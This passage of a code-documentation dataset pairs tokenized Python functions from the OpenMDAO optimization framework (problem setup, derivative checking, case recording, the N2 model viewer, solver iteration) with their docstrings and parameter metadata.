raise RuntimeError("The `setup` method must be called before `run_driver`.")
if case_prefix:
if not isinstance(case_prefix, str):
raise TypeError("The 'case_prefix' argument sho... | [
"def",
"run_driver",
"(",
"self",
",",
"case_prefix",
"=",
"None",
",",
"reset_iter_counts",
"=",
"True",
")",
":",
"if",
"self",
".",
"_mode",
"is",
"None",
":",
"raise",
"RuntimeError",
"(",
"\"The `setup` method must be called before `run_driver`.\"",
")",
"if"... | Run the driver on the model. | [
"Run",
"the",
"driver",
"on",
"the",
"model",
"."
] | [
"\"\"\"\n Run the driver on the model.\n\n Parameters\n ----------\n case_prefix : str or None\n Prefix to prepend to coordinates when recording.\n\n reset_iter_counts : bool\n If True and model has been run previously, reset all iteration counters.\n\n ... | [
{
"param": "self",
"type": null
},
{
"param": "case_prefix",
"type": null
},
{
"param": "reset_iter_counts",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "case_prefix",
"type": null,
"docstring": null,
"docstring_tok... |
f53b592dae16cc725d6444439530c279c4eefbf9 | gsoxley/OpenMDAO | openmdao/core/problem.py | [
"Apache-2.0"
] | Python | run_once | null | def run_once(self):
"""
Backward compatible call for run_model.
"""
warn_deprecation("The 'run_once' method provides backwards compatibility with "
"OpenMDAO <= 1.x ; use 'run_model' instead.")
self.run_model() |
Backward compatible call for run_model.
| Backward compatible call for run_model. | [
"Backward",
"compatible",
"call",
"for",
"run_model",
"."
] | def run_once(self):
warn_deprecation("The 'run_once' method provides backwards compatibility with "
"OpenMDAO <= 1.x ; use 'run_model' instead.")
self.run_model() | [
"def",
"run_once",
"(",
"self",
")",
":",
"warn_deprecation",
"(",
"\"The 'run_once' method provides backwards compatibility with \"",
"\"OpenMDAO <= 1.x ; use 'run_model' instead.\"",
")",
"self",
".",
"run_model",
"(",
")"
] | Backward compatible call for run_model. | [
"Backward",
"compatible",
"call",
"for",
"run_model",
"."
] | [
"\"\"\"\n Backward compatible call for run_model.\n \"\"\""
] | [
{
"param": "self",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
f53b592dae16cc725d6444439530c279c4eefbf9 | gsoxley/OpenMDAO | openmdao/core/problem.py | [
"Apache-2.0"
] | Python | record_iteration | <not_specific> | def record_iteration(self, case_name):
"""
Record the variables at the Problem level.
Parameters
----------
case_name : str
Name used to identify this Problem case.
"""
if not self._rec_mgr._recorders:
return
# Get the data to rec... |
Record the variables at the Problem level.
Parameters
----------
case_name : str
Name used to identify this Problem case.
| Record the variables at the Problem level.
Parameters
case_name : str
Name used to identify this Problem case. | [
"Record",
"the",
"variables",
"at",
"the",
"Problem",
"level",
".",
"Parameters",
"case_name",
":",
"str",
"Name",
"used",
"to",
"identify",
"this",
"Problem",
"case",
"."
] | def record_iteration(self, case_name):
if not self._rec_mgr._recorders:
return
opts = self.recording_options
filt = self._filtered_vars_to_record
model = self.model
driver = self.driver
if opts['record_desvars']:
des_vars = driver.get_design_var_va... | [
"def",
"record_iteration",
"(",
"self",
",",
"case_name",
")",
":",
"if",
"not",
"self",
".",
"_rec_mgr",
".",
"_recorders",
":",
"return",
"opts",
"=",
"self",
".",
"recording_options",
"filt",
"=",
"self",
".",
"_filtered_vars_to_record",
"model",
"=",
"se... | Record the variables at the Problem level. | [
"Record",
"the",
"variables",
"at",
"the",
"Problem",
"level",
"."
] | [
"\"\"\"\n Record the variables at the Problem level.\n\n Parameters\n ----------\n case_name : str\n Name used to identify this Problem case.\n \"\"\"",
"# Get the data to record (collective calls that get across all ranks)"
] | [
{
"param": "self",
"type": null
},
{
"param": "case_name",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "case_name",
"type": null,
"docstring": null,
"docstring_token... |
f53b592dae16cc725d6444439530c279c4eefbf9 | gsoxley/OpenMDAO | openmdao/core/problem.py | [
"Apache-2.0"
] | Python | final_setup | null | def final_setup(self):
"""
Perform final setup phase on problem in preparation for run.
This is the second phase of setup, and is done automatically at the start of `run_driver`
and `run_model`. At the beginning of final_setup, we have a model hierarchy with defined
variables, s... |
Perform final setup phase on problem in preparation for run.
This is the second phase of setup, and is done automatically at the start of `run_driver`
and `run_model`. At the beginning of final_setup, we have a model hierarchy with defined
variables, solvers, case_recorders, and deriva... | Perform final setup phase on problem in preparation for run.
This is the second phase of setup, and is done automatically at the start of `run_driver`
and `run_model`. At the beginning of final_setup, we have a model hierarchy with defined
variables, solvers, case_recorders, and derivative settings. During this phase, ... | [
"Perform",
"final",
"setup",
"phase",
"on",
"problem",
"in",
"preparation",
"for",
"run",
".",
"This",
"is",
"the",
"second",
"phase",
"of",
"setup",
"and",
"is",
"done",
"automatically",
"at",
"the",
"start",
"of",
"`",
"run_driver",
"`",
"and",
"`",
"r... | def final_setup(self):
driver = self.driver
response_size, desvar_size = driver._update_voi_meta(self.model)
if self._orig_mode == 'auto':
mode = 'rev' if response_size < desvar_size else 'fwd'
self._mode = mode
else:
mode = self._orig_mode
if ... | [
"def",
"final_setup",
"(",
"self",
")",
":",
"driver",
"=",
"self",
".",
"driver",
"response_size",
",",
"desvar_size",
"=",
"driver",
".",
"_update_voi_meta",
"(",
"self",
".",
"model",
")",
"if",
"self",
".",
"_orig_mode",
"==",
"'auto'",
":",
"mode",
... | Perform final setup phase on problem in preparation for run. | [
"Perform",
"final",
"setup",
"phase",
"on",
"problem",
"in",
"preparation",
"for",
"run",
"."
] | [
"\"\"\"\n Perform final setup phase on problem in preparation for run.\n\n This is the second phase of setup, and is done automatically at the start of `run_driver`\n and `run_model`. At the beginning of final_setup, we have a model hierarchy with defined\n variables, solvers, case_recor... | [
{
"param": "self",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
f53b592dae16cc725d6444439530c279c4eefbf9 | gsoxley/OpenMDAO | openmdao/core/problem.py | [
"Apache-2.0"
] | Python | check_totals | <not_specific> | def check_totals(self, of=None, wrt=None, out_stream=_DEFAULT_OUT_STREAM, compact_print=False,
driver_scaling=False, abs_err_tol=1e-6, rel_err_tol=1e-6,
method='fd', step=None, form='forward', step_calc='abs'):
"""
Check total derivatives for the model vs. finit... |
Check total derivatives for the model vs. finite difference.
Parameters
----------
of : list of variable name strings or None
Variables whose derivatives will be computed. Default is None, which
uses the driver's objectives and constraints.
wrt : list of... | Check total derivatives for the model vs. finite difference.
Parameters
of : list of variable name strings or None
Variables whose derivatives will be computed. Default is None, which
uses the driver's objectives and constraints.
wrt : list of variable name strings or None
Variables with respect to which the derivativ... | [
"Check",
"total",
"derivatives",
"for",
"the",
"model",
"vs",
".",
"finite",
"difference",
".",
"Parameters",
"of",
":",
"list",
"of",
"variable",
"name",
"strings",
"or",
"None",
"Variables",
"whose",
"derivatives",
"will",
"be",
"computed",
".",
"Default",
... | def check_totals(self, of=None, wrt=None, out_stream=_DEFAULT_OUT_STREAM, compact_print=False,
driver_scaling=False, abs_err_tol=1e-6, rel_err_tol=1e-6,
method='fd', step=None, form='forward', step_calc='abs'):
model = self.model
if method == 'cs' and not model.... | [
"def",
"check_totals",
"(",
"self",
",",
"of",
"=",
"None",
",",
"wrt",
"=",
"None",
",",
"out_stream",
"=",
"_DEFAULT_OUT_STREAM",
",",
"compact_print",
"=",
"False",
",",
"driver_scaling",
"=",
"False",
",",
"abs_err_tol",
"=",
"1e-6",
",",
"rel_err_tol",
... | Check total derivatives for the model vs. finite difference. | [
"Check",
"total",
"derivatives",
"for",
"the",
"model",
"vs",
".",
"finite",
"difference",
"."
] | [
"\"\"\"\n Check total derivatives for the model vs. finite difference.\n\n Parameters\n ----------\n of : list of variable name strings or None\n Variables whose derivatives will be computed. Default is None, which\n uses the driver's objectives and constraints.\n ... | [
{
"param": "self",
"type": null
},
{
"param": "of",
"type": null
},
{
"param": "wrt",
"type": null
},
{
"param": "out_stream",
"type": null
},
{
"param": "compact_print",
"type": null
},
{
"param": "driver_scaling",
"type": null
},
{
"param... | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "of",
"type": null,
"docstring": null,
"docstring_tokens": [],... |
f53b592dae16cc725d6444439530c279c4eefbf9 | gsoxley/OpenMDAO | openmdao/core/problem.py | [
"Apache-2.0"
] | Python | load_case | <not_specific> | def load_case(self, case):
"""
Pull all input and output variables from a case into the model.
Parameters
----------
case : Case object
A Case from a CaseRecorder file.
"""
inputs = case.inputs if case.inputs is not None else None
if inputs:
... |
Pull all input and output variables from a case into the model.
Parameters
----------
case : Case object
A Case from a CaseRecorder file.
| Pull all input and output variables from a case into the model.
Parameters
case : Case object
A Case from a CaseRecorder file. | [
"Pull",
"all",
"input",
"and",
"output",
"variables",
"from",
"a",
"case",
"into",
"the",
"model",
".",
"Parameters",
"case",
":",
"Case",
"object",
"A",
"Case",
"from",
"a",
"CaseRecorder",
"file",
"."
] | def load_case(self, case):
inputs = case.inputs if case.inputs is not None else None
if inputs:
for name in inputs.absolute_names():
if name not in self.model._var_abs_names['input']:
raise KeyError("Input variable, '{}', recorded in the case is not "
... | [
"def",
"load_case",
"(",
"self",
",",
"case",
")",
":",
"inputs",
"=",
"case",
".",
"inputs",
"if",
"case",
".",
"inputs",
"is",
"not",
"None",
"else",
"None",
"if",
"inputs",
":",
"for",
"name",
"in",
"inputs",
".",
"absolute_names",
"(",
")",
":",
... | Pull all input and output variables from a case into the model. | [
"Pull",
"all",
"input",
"and",
"output",
"variables",
"from",
"a",
"case",
"into",
"the",
"model",
"."
] | [
"\"\"\"\n Pull all input and output variables from a case into the model.\n\n Parameters\n ----------\n case : Case object\n A Case from a CaseRecorder file.\n \"\"\""
] | [
{
"param": "self",
"type": null
},
{
"param": "case",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "case",
"type": null,
"docstring": null,
"docstring_tokens": [... |
83121c9a1ac5be83195513a565e8728c1c9e6b4d | gsoxley/OpenMDAO | openmdao/devtools/problem_viewer/problem_viewer.py | [
"Apache-2.0"
] | Python | _get_tree_dict | <not_specific> | def _get_tree_dict(system, component_execution_orders, component_execution_index):
"""Get a dictionary representation of the system hierarchy."""
tree_dict = OrderedDict()
tree_dict['name'] = system.name
tree_dict['type'] = 'subsystem'
if not isinstance(system, Group):
tree_dict['subsystem_... | Get a dictionary representation of the system hierarchy. | Get a dictionary representation of the system hierarchy. | [
"Get",
"a",
"dictionary",
"representation",
"of",
"the",
"system",
"hierarchy",
"."
] | def _get_tree_dict(system, component_execution_orders, component_execution_index):
tree_dict = OrderedDict()
tree_dict['name'] = system.name
tree_dict['type'] = 'subsystem'
if not isinstance(system, Group):
tree_dict['subsystem_type'] = 'component'
component_execution_orders[system.pathn... | [
"def",
"_get_tree_dict",
"(",
"system",
",",
"component_execution_orders",
",",
"component_execution_index",
")",
":",
"tree_dict",
"=",
"OrderedDict",
"(",
")",
"tree_dict",
"[",
"'name'",
"]",
"=",
"system",
".",
"name",
"tree_dict",
"[",
"'type'",
"]",
"=",
... | Get a dictionary representation of the system hierarchy. | [
"Get",
"a",
"dictionary",
"representation",
"of",
"the",
"system",
"hierarchy",
"."
] | [
"\"\"\"Get a dictionary representation of the system hierarchy.\"\"\""
] | [
{
"param": "system",
"type": null
},
{
"param": "component_execution_orders",
"type": null
},
{
"param": "component_execution_index",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "system",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "component_execution_orders",
"type": null,
"docstring": null,
... |
83121c9a1ac5be83195513a565e8728c1c9e6b4d | gsoxley/OpenMDAO | openmdao/devtools/problem_viewer/problem_viewer.py | [
"Apache-2.0"
] | Python | _get_viewer_data | <not_specific> | def _get_viewer_data(data_source):
"""
Get the data needed by the N2 viewer as a dictionary.
Parameters
----------
data_source : <Problem> or <Group> or str
A Problem or Group or case recorder file name containing the model or model data.
Returns
-------
dict
A dictiona... |
Get the data needed by the N2 viewer as a dictionary.
Parameters
----------
data_source : <Problem> or <Group> or str
A Problem or Group or case recorder file name containing the model or model data.
Returns
-------
dict
A dictionary containing information about the model ... | Get the data needed by the N2 viewer as a dictionary.
Parameters
data_source : or or str
A Problem or Group or case recorder file name containing the model or model data.
Returns
dict
A dictionary containing information about the model for use by the viewer. | [
"Get",
"the",
"data",
"needed",
"by",
"the",
"N2",
"viewer",
"as",
"a",
"dictionary",
".",
"Parameters",
"data_source",
":",
"or",
"or",
"str",
"A",
"Problem",
"or",
"Group",
"or",
"case",
"recorder",
"file",
"name",
"containing",
"the",
"model",
"or",
"... | def _get_viewer_data(data_source):
if isinstance(data_source, Problem):
root_group = data_source.model
if not isinstance(root_group, Group):
simple_warning("The model is not a Group, viewer data is unavailable.")
return {}
elif isinstance(data_source, Group):
if n... | [
"def",
"_get_viewer_data",
"(",
"data_source",
")",
":",
"if",
"isinstance",
"(",
"data_source",
",",
"Problem",
")",
":",
"root_group",
"=",
"data_source",
".",
"model",
"if",
"not",
"isinstance",
"(",
"root_group",
",",
"Group",
")",
":",
"simple_warning",
... | Get the data needed by the N2 viewer as a dictionary. | [
"Get",
"the",
"data",
"needed",
"by",
"the",
"N2",
"viewer",
"as",
"a",
"dictionary",
"."
] | [
"\"\"\"\n Get the data needed by the N2 viewer as a dictionary.\n\n Parameters\n ----------\n data_source : <Problem> or <Group> or str\n A Problem or Group or case recorder file name containing the model or model data.\n\n Returns\n -------\n dict\n A dictionary containing inform... | [
{
"param": "data_source",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "data_source",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
83121c9a1ac5be83195513a565e8728c1c9e6b4d | gsoxley/OpenMDAO | openmdao/devtools/problem_viewer/problem_viewer.py | [
"Apache-2.0"
] | Python | view_model | <not_specific> | def view_model(data_source, outfile='n2.html', show_browser=True, embeddable=False,
draw_potential_connections=True):
"""
Generates an HTML file containing a tree viewer.
Optionally opens a web browser to view the file.
Parameters
----------
data_source : <Problem> or str
... |
Generates an HTML file containing a tree viewer.
Optionally opens a web browser to view the file.
Parameters
----------
data_source : <Problem> or str
The Problem or case recorder database containing the model or model data.
outfile : str, optional
The name of the final outpu... | Generates an HTML file containing a tree viewer.
Optionally opens a web browser to view the file.
Parameters
data_source : or str
The Problem or case recorder database containing the model or model data.
outfile : str, optional
The name of the final output file
show_browser : bool, optional
If True, pop up the sys... | [
"Generates",
"an",
"HTML",
"file",
"containing",
"a",
"tree",
"viewer",
".",
"Optionally",
"opens",
"a",
"web",
"browser",
"to",
"view",
"the",
"file",
".",
"Parameters",
"data_source",
":",
"or",
"str",
"The",
"Problem",
"or",
"case",
"recorder",
"database"... | def view_model(data_source, outfile='n2.html', show_browser=True, embeddable=False,
draw_potential_connections=True):
model_viewer_data = _get_viewer_data(data_source)
model_viewer_data = 'var modelData = %s' % json.dumps(model_viewer_data)
if MPI and MPI.COMM_WORLD.rank != 0:
return
... | [
"def",
"view_model",
"(",
"data_source",
",",
"outfile",
"=",
"'n2.html'",
",",
"show_browser",
"=",
"True",
",",
"embeddable",
"=",
"False",
",",
"draw_potential_connections",
"=",
"True",
")",
":",
"model_viewer_data",
"=",
"_get_viewer_data",
"(",
"data_source"... | Generates an HTML file containing a tree viewer. | [
"Generates",
"an",
"HTML",
"file",
"containing",
"a",
"tree",
"viewer",
"."
] | [
"\"\"\"\n Generates an HTML file containing a tree viewer.\n\n Optionally opens a web browser to view the file.\n\n Parameters\n ----------\n data_source : <Problem> or str\n The Problem or case recorder database containing the model or model data.\n\n outfile : str, optional\n The n... | [
{
"param": "data_source",
"type": null
},
{
"param": "outfile",
"type": null
},
{
"param": "show_browser",
"type": null
},
{
"param": "embeddable",
"type": null
},
{
"param": "draw_potential_connections",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "data_source",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "outfile",
"type": null,
"docstring": null,
"docstring_... |
98582bf713e460c9621c2adeab055357b9b76377 | gsoxley/OpenMDAO | openmdao/solvers/solver.py | [
"Apache-2.0"
] | Python | _setup_solvers | <not_specific> | def _setup_solvers(self, system, depth):
"""
Assign system instance, set depth, and optionally perform setup.
Parameters
----------
system : <System>
pointer to the owning system.
depth : int
depth of the current system (already incremented).
... |
Assign system instance, set depth, and optionally perform setup.
Parameters
----------
system : <System>
pointer to the owning system.
depth : int
depth of the current system (already incremented).
| Assign system instance, set depth, and optionally perform setup.
Parameters
system :
pointer to the owning system.
depth : int
depth of the current system (already incremented). | [
"Assign",
"system",
"instance",
"set",
"depth",
"and",
"optionally",
"perform",
"setup",
".",
"Parameters",
"system",
":",
"pointer",
"to",
"the",
"owning",
"system",
".",
"depth",
":",
"int",
"depth",
"of",
"the",
"current",
"system",
"(",
"already",
"incre... | def _setup_solvers(self, system, depth):
self._system = system
self._depth = depth
self._solver_info = system._solver_info
self._recording_iter = system._recording_iter
if isinstance(self, LinearSolver) and not system._use_derivatives:
return
self._rec_mgr.sta... | [
"def",
"_setup_solvers",
"(",
"self",
",",
"system",
",",
"depth",
")",
":",
"self",
".",
"_system",
"=",
"system",
"self",
".",
"_depth",
"=",
"depth",
"self",
".",
"_solver_info",
"=",
"system",
".",
"_solver_info",
"self",
".",
"_recording_iter",
"=",
... | Assign system instance, set depth, and optionally perform setup. | [
"Assign",
"system",
"instance",
"set",
"depth",
"and",
"optionally",
"perform",
"setup",
"."
] | [
"\"\"\"\n Assign system instance, set depth, and optionally perform setup.\n\n Parameters\n ----------\n system : <System>\n pointer to the owning system.\n depth : int\n depth of the current system (already incremented).\n \"\"\"",
"# it's a LinearS... | [
{
"param": "self",
"type": null
},
{
"param": "system",
"type": null
},
{
"param": "depth",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "system",
"type": null,
"docstring": null,
"docstring_tokens":... |
98582bf713e460c9621c2adeab055357b9b76377 | gsoxley/OpenMDAO | openmdao/solvers/solver.py | [
"Apache-2.0"
] | Python | record_iteration | <not_specific> | def record_iteration(self, **kwargs):
"""
Record an iteration of the current Solver.
Parameters
----------
**kwargs : dict
Keyword arguments (used for abs and rel error).
"""
if not self._rec_mgr._recorders:
return
metadata = crea... |
Record an iteration of the current Solver.
Parameters
----------
**kwargs : dict
Keyword arguments (used for abs and rel error).
| Record an iteration of the current Solver.
Parameters
kwargs : dict
Keyword arguments (used for abs and rel error). | [
"Record",
"an",
"iteration",
"of",
"the",
"current",
"Solver",
".",
"Parameters",
"kwargs",
":",
"dict",
"Keyword",
"arguments",
"(",
"used",
"for",
"abs",
"and",
"rel",
"error",
")",
"."
] | def record_iteration(self, **kwargs):
if not self._rec_mgr._recorders:
return
metadata = create_local_meta(self.SOLVER)
data = {}
if self.recording_options['record_abs_error']:
data['abs'] = kwargs.get('abs')
else:
data['abs'] = None
if... | [
"def",
"record_iteration",
"(",
"self",
",",
"**",
"kwargs",
")",
":",
"if",
"not",
"self",
".",
"_rec_mgr",
".",
"_recorders",
":",
"return",
"metadata",
"=",
"create_local_meta",
"(",
"self",
".",
"SOLVER",
")",
"data",
"=",
"{",
"}",
"if",
"self",
"... | Record an iteration of the current Solver. | [
"Record",
"an",
"iteration",
"of",
"the",
"current",
"Solver",
"."
] | [
"\"\"\"\n Record an iteration of the current Solver.\n\n Parameters\n ----------\n **kwargs : dict\n Keyword arguments (used for abs and rel error).\n \"\"\"",
"# Get the data",
"# it's a LinearSolver"
] | [
{
"param": "self",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
98582bf713e460c9621c2adeab055357b9b76377 | gsoxley/OpenMDAO | openmdao/solvers/solver.py | [
"Apache-2.0"
] | Python | _iter_initialize | <not_specific> | def _iter_initialize(self):
"""
Perform any necessary pre-processing operations.
Returns
-------
float
initial error.
float
error at the first iteration.
"""
if self.options['debug_print']:
self._err_cache['inputs'] = s... |
Perform any necessary pre-processing operations.
Returns
-------
float
initial error.
float
error at the first iteration.
| Perform any necessary pre-processing operations.
Returns
float
initial error.
float
error at the first iteration. | [
"Perform",
"any",
"necessary",
"pre",
"-",
"processing",
"operations",
".",
"Returns",
"float",
"initial",
"error",
".",
"float",
"error",
"at",
"the",
"first",
"iteration",
"."
] | def _iter_initialize(self):
if self.options['debug_print']:
self._err_cache['inputs'] = self._system._inputs._copy_views()
self._err_cache['outputs'] = self._system._outputs._copy_views()
if self.options['maxiter'] > 0:
self._run_apply()
norm = self._iter_... | [
"def",
"_iter_initialize",
"(",
"self",
")",
":",
"if",
"self",
".",
"options",
"[",
"'debug_print'",
"]",
":",
"self",
".",
"_err_cache",
"[",
"'inputs'",
"]",
"=",
"self",
".",
"_system",
".",
"_inputs",
".",
"_copy_views",
"(",
")",
"self",
".",
"_e... | Perform any necessary pre-processing operations. | [
"Perform",
"any",
"necessary",
"pre",
"-",
"processing",
"operations",
"."
] | [
"\"\"\"\n Perform any necessary pre-processing operations.\n\n Returns\n -------\n float\n initial error.\n float\n error at the first iteration.\n \"\"\""
] | [
{
"param": "self",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
98582bf713e460c9621c2adeab055357b9b76377 | gsoxley/OpenMDAO | openmdao/solvers/solver.py | [
"Apache-2.0"
] | Python | _run_apply | null | def _run_apply(self):
"""
Run the apply_nonlinear method on the system.
"""
self._recording_iter.stack.append(('_run_apply', 0))
try:
self._system._apply_nonlinear()
finally:
self._recording_iter.stack.pop() |
Run the apply_nonlinear method on the system.
| Run the apply_nonlinear method on the system. | [
"Run",
"the",
"apply_nonlinear",
"method",
"on",
"the",
"system",
"."
] | def _run_apply(self):
self._recording_iter.stack.append(('_run_apply', 0))
try:
self._system._apply_nonlinear()
finally:
self._recording_iter.stack.pop() | [
"def",
"_run_apply",
"(",
"self",
")",
":",
"self",
".",
"_recording_iter",
".",
"stack",
".",
"append",
"(",
"(",
"'_run_apply'",
",",
"0",
")",
")",
"try",
":",
"self",
".",
"_system",
".",
"_apply_nonlinear",
"(",
")",
"finally",
":",
"self",
".",
... | Run the apply_nonlinear method on the system. | [
"Run",
"the",
"apply_nonlinear",
"method",
"on",
"the",
"system",
"."
] | [
"\"\"\"\n Run the apply_nonlinear method on the system.\n \"\"\""
] | [
{
"param": "self",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
98582bf713e460c9621c2adeab055357b9b76377 | gsoxley/OpenMDAO | openmdao/solvers/solver.py | [
"Apache-2.0"
] | Python | _disallow_discrete_outputs | null | def _disallow_discrete_outputs(self):
"""
Raise an exception if any discrete outputs exist in our System.
"""
if self._system._var_allprocs_discrete['output']:
raise RuntimeError("System '%s' has a %s solver and contains discrete outputs %s." %
... |
Raise an exception if any discrete outputs exist in our System.
| Raise an exception if any discrete outputs exist in our System. | [
"Raise",
"an",
"exception",
"if",
"any",
"discrete",
"outputs",
"exist",
"in",
"our",
"System",
"."
] | def _disallow_discrete_outputs(self):
if self._system._var_allprocs_discrete['output']:
raise RuntimeError("System '%s' has a %s solver and contains discrete outputs %s." %
(self._system.pathname, type(self).__name__,
sorted(self._system... | [
"def",
"_disallow_discrete_outputs",
"(",
"self",
")",
":",
"if",
"self",
".",
"_system",
".",
"_var_allprocs_discrete",
"[",
"'output'",
"]",
":",
"raise",
"RuntimeError",
"(",
"\"System '%s' has a %s solver and contains discrete outputs %s.\"",
"%",
"(",
"self",
".",
... | Raise an exception if any discrete outputs exist in our System. | [
"Raise",
"an",
"exception",
"if",
"any",
"discrete",
"outputs",
"exist",
"in",
"our",
"System",
"."
] | [
"\"\"\"\n Raise an exception if any discrete outputs exist in our System.\n \"\"\""
] | [
{
"param": "self",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
98582bf713e460c9621c2adeab055357b9b76377 | gsoxley/OpenMDAO | openmdao/solvers/solver.py | [
"Apache-2.0"
] | Python | _gs_iter | null | def _gs_iter(self):
"""
Perform a Gauss-Seidel iteration over this Solver's subsystems.
"""
system = self._system
if system._subsystems_allprocs:
loc = system._loc_subsys_map
for isub, subsys in enumerate(system._subsystems_allprocs):
system._tran... |
Perform a Gauss-Seidel iteration over this Solver's subsystems.
| Perform a Gauss-Seidel iteration over this Solver's subsystems. | [
"Perform",
"a",
"Gauss",
"-",
"Seidel",
"iteration",
"over",
"this",
"Solver",
"'",
"s",
"subsystems",
"."
] | def _gs_iter(self):
system = self._system
if system._subsystems_allprocs:
loc = system._loc_subsys_map
for isub, subsys in enumerate(system._subsystems_allprocs):
system._transfer('nonlinear', 'fwd', isub)
if subsys.name in loc:
subsys._solve_n... | [
"def",
"_gs_iter",
"(",
"self",
")",
":",
"system",
"=",
"self",
".",
"_system",
"if",
"system",
".",
"_subsystems_allprocs",
":",
"loc",
"=",
"system",
".",
"_loc_subsys_map",
"for",
"isub",
",",
"subsys",
"in",
"enumerate",
"(",
"system",
".",
"_subsyste... | Perform a Gauss-Seidel iteration over this Solver's subsystems. | [
"Perform",
"a",
"Gauss",
"-",
"Seidel",
"iteration",
"over",
"this",
"Solver",
"'",
"s",
"subsystems",
"."
] | [
"\"\"\"\n Perform a Gauss-Seidel iteration over this Solver's subsystems.\n \"\"\""
] | [
{
"param": "self",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
98582bf713e460c9621c2adeab055357b9b76377 | gsoxley/OpenMDAO | openmdao/solvers/solver.py | [
"Apache-2.0"
] | Python | _setup_solvers | null | def _setup_solvers(self, system, depth):
"""
Assign system instance, set depth, and optionally perform setup.
Parameters
----------
system : <System>
pointer to the owning system.
depth : int
depth of the current system (already incremented).
... |
Assign system instance, set depth, and optionally perform setup.
Parameters
----------
system : <System>
pointer to the owning system.
depth : int
depth of the current system (already incremented).
| Assign system instance, set depth, and optionally perform setup.
Parameters
system :
pointer to the owning system.
depth : int
depth of the current system (already incremented). | [
"Assign",
"system",
"instance",
"set",
"depth",
"and",
"optionally",
"perform",
"setup",
".",
"Parameters",
"system",
":",
"pointer",
"to",
"the",
"owning",
"system",
".",
"depth",
":",
"int",
"depth",
"of",
"the",
"current",
"system",
"(",
"already",
"incre... | def _setup_solvers(self, system, depth):
super(LinearSolver, self)._setup_solvers(system, depth)
if self.options['assemble_jac'] and not self.supports['assembled_jac']:
raise RuntimeError("Linear solver '%s' in system '%s' doesn't support assembled "
"jacobians... | [
"def",
"_setup_solvers",
"(",
"self",
",",
"system",
",",
"depth",
")",
":",
"super",
"(",
"LinearSolver",
",",
"self",
")",
".",
"_setup_solvers",
"(",
"system",
",",
"depth",
")",
"if",
"self",
".",
"options",
"[",
"'assemble_jac'",
"]",
"and",
"not",
... | Assign system instance, set depth, and optionally perform setup. | [
"Assign",
"system",
"instance",
"set",
"depth",
"and",
"optionally",
"perform",
"setup",
"."
] | [
"\"\"\"\n Assign system instance, set depth, and optionally perform setup.\n\n Parameters\n ----------\n system : <System>\n pointer to the owning system.\n depth : int\n depth of the current system (already incremented).\n \"\"\""
] | [
{
"param": "self",
"type": null
},
{
"param": "system",
"type": null
},
{
"param": "depth",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "system",
"type": null,
"docstring": null,
"docstring_tokens":... |
98582bf713e460c9621c2adeab055357b9b76377 | gsoxley/OpenMDAO | openmdao/solvers/solver.py | [
"Apache-2.0"
] | Python | _run_apply | null | def _run_apply(self):
"""
Run the apply_linear method on the system.
"""
self._recording_iter.stack.append(('_run_apply', 0))
system = self._system
scope_out, scope_in = system._get_scope()
try:
system._apply_linear(self._assembled_jac, self._vec_nam... |
Run the apply_linear method on the system.
| Run the apply_linear method on the system. | [
"Run",
"the",
"apply_linear",
"method",
"on",
"the",
"system",
"."
] | def _run_apply(self):
self._recording_iter.stack.append(('_run_apply', 0))
system = self._system
scope_out, scope_in = system._get_scope()
try:
system._apply_linear(self._assembled_jac, self._vec_names, self._rel_systems,
self._mode, scope_out... | [
"def",
"_run_apply",
"(",
"self",
")",
":",
"self",
".",
"_recording_iter",
".",
"stack",
".",
"append",
"(",
"(",
"'_run_apply'",
",",
"0",
")",
")",
"system",
"=",
"self",
".",
"_system",
"scope_out",
",",
"scope_in",
"=",
"system",
".",
"_get_scope",
... | Run the apply_linear method on the system. | [
"Run",
"the",
